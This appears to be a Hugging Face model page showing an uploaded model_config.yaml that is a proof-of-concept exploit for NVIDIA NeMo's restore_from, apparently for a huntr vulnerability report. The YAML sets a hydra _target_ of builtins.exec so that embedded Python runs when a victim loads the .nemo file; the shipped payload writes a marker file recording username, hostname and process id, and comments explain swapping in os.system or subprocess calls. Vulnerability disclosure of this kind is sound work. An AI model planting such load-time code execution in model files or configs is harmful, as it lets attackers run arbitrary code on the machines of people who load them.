Instructions to use Havzer/nemo-restore-from-rce-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- NeMo
How to use Havzer/nemo-restore-from-rce-poc with NeMo:
# tag did not correspond to a valid NeMo domain.
- Notebooks
- Google Colab
- Kaggle
Upload model_config.yaml with huggingface_hub
Browse files- model_config.yaml +45 -0
model_config.yaml
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# ===========================================================================
|
| 2 |
+
# MALICIOUS model_config.yaml -- this is the file packed inside the .nemo
|
| 3 |
+
# ---------------------------------------------------------------------------
|
| 4 |
+
# A real attacker ships this verbatim inside an innocent-looking vocoder
|
| 5 |
+
# ".nemo" on the Hugging Face Hub. When a victim calls the documented
|
| 6 |
+
# WaveGlowModel.restore_from(<file>.nemo) API, NeMo 2.7.3 does:
|
| 7 |
+
#
|
| 8 |
+
# conf = OmegaConf.load("model_config.yaml") # this file (untrusted)
|
| 9 |
+
# model = WaveGlowModel.from_config_dict(conf) # -> WaveGlowModel(cfg=conf)
|
| 10 |
+
# -> WaveGlowModel.__init__ (waveglow.py:49):
|
| 11 |
+
# instantiate(self._cfg.preprocessor) # RAW hydra.utils.instantiate
|
| 12 |
+
#
|
| 13 |
+
# hydra.utils.instantiate() resolves and CALLS `_target_` with `_args_`.
|
| 14 |
+
# There is NO safe_instantiate / allow-list on this path, so any callable
|
| 15 |
+
# (builtins.exec, os.system, subprocess.call, ...) runs at load time.
|
| 16 |
+
#
|
| 17 |
+
# The payload below is deliberately benign: it prints a banner and writes a
|
| 18 |
+
# marker file into the OS temp dir. Swap `_target_`/`_args_` for proof that
|
| 19 |
+
# an attacker controls the call.
|
| 20 |
+
# ===========================================================================
|
| 21 |
+
|
| 22 |
+
sigma: 1.0
|
| 23 |
+
|
| 24 |
+
# ---- THE SINK: instantiate(self._cfg.preprocessor) at waveglow.py:49 ----
|
| 25 |
+
preprocessor:
|
| 26 |
+
_target_: builtins.exec
|
| 27 |
+
_args_:
|
| 28 |
+
- |
|
| 29 |
+
import os, tempfile, getpass, platform
|
| 30 |
+
_msg = "NeMo .nemo restore_from() ARBITRARY CODE EXECUTION (huntr PoC)"
|
| 31 |
+
_marker = os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt")
|
| 32 |
+
with open(_marker, "w") as _f:
|
| 33 |
+
_f.write(_msg + "\n")
|
| 34 |
+
_f.write("user=" + getpass.getuser() + " host=" + platform.node() + "\n")
|
| 35 |
+
_f.write("pid=" + str(os.getpid()) + " cwd=" + os.getcwd() + "\n")
|
| 36 |
+
print("\n" + "=" * 72)
|
| 37 |
+
print("[PWNED] " + _msg)
|
| 38 |
+
print(" code executed INSIDE WaveGlowModel.restore_from() __init__")
|
| 39 |
+
print(" (hydra.utils.instantiate on untrusted model_config.yaml)")
|
| 40 |
+
print(" marker written to: " + _marker)
|
| 41 |
+
print("=" * 72 + "\n")
|
| 42 |
+
|
| 43 |
+
# second raw sink at waveglow.py:50 (instantiate(self._cfg.waveglow));
|
| 44 |
+
# left empty -- the preprocessor payload above has already executed by now.
|
| 45 |
+
waveglow: {}
|